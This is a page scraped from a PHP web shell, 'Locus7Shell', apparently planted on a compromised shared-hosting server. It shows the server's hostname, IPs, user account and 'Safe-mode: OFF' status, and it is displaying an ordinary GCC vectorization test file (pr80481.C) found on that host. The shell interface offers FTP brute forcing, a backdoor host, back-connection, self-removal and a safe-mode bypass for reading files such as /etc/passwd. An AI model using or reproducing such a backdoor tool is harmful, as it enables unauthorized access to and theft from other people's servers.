Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr80481.C (1.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// { dg-do compile { target { i?86-*-* x86_64-*-* }  && { ! *-*-solaris* } } }
// { dg-options "-Ofast -funroll-loops -fopenmp -march=knl" }
// Disabling epilogues until we find a better way to deal with scans.
// { dg-additional-options "--param vect-epilogues-nomask=0" }


#include <math.h>

#include <xmmintrin.h>

#define max(a, b)   ( (a) > (b) ? (a) : (b) )

struct Sdata {
  float w; 
  float s;
  float r;
  float t;
  float v;
};
 extern int N1, N2, N3;

#define func(p, up, down) ((p)*(up) + (1.0f-(p)) * (down))
 
void foo (Sdata *in, int idx, float *out)
{
  float* y1 = (float*)_mm_malloc(sizeof(float) * N1,16);
  float* y2  = (float*)_mm_malloc(sizeof(float) * N1,16);
  float* y3  = (float*)_mm_malloc(sizeof(float) * N1,16);
  float* y4  = (float*)_mm_malloc(sizeof(float) * N1,16); 

  for (int k = idx; k < idx + N3; k++) {
    float x1 = in[k].r;
    float x2    = in[k].s;
    float x3      = in[k].w;
    float x4     = in[k].v;
    float x5         = in[k].t;
    x5 /= N2;
    float u = exp(x4 * sqrt(x5));
    float d = exp(-x4 * sqrt(x5));
    float a = exp(x1 * x5);
    float m = exp(-x1 * x5);
    float p = (a - d) / (u - d);
    y2[0] = x2;
    y3[0] = float(1.f);
    for (int i = 1; i <= N2; i++) {
      y2[i] = u * y2[i - 1];
      y3[i] = d * y3[i - 1];
    }
#pragma omp simd
    for (int i = 0; i <= N2; i++) {
      y1[i] =
        max((x3 - y2[N2 - i] * y3[i]), float(0.f));
    }
    for (int i = N2 - 1; i >= 0; i--) {
#pragma omp simd
      for (int j = 0; j <= i; j++) {
        y4[j] = func(p,y1[j],y1[j+1]) * m;
      }
#pragma omp simd
      for (int j = 0; j <= i; j++) {
        float t1 = y2[i - j] * y3[j];
        float t2 = max(x3 - t1, float(0.f));
        y1[j] = max(t2, y4[j]);
      }
    }
    out[k] = y1[0];
  }
  _mm_free(y1);
  _mm_free(y2);
  _mm_free(y3);
  _mm_free(y4);
}

// { dg-final { scan-assembler-not "vmovaps\[^\n\r]*zmm\[0-9]+,\[^\n\r]*zmm\[0-9]+" } }

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--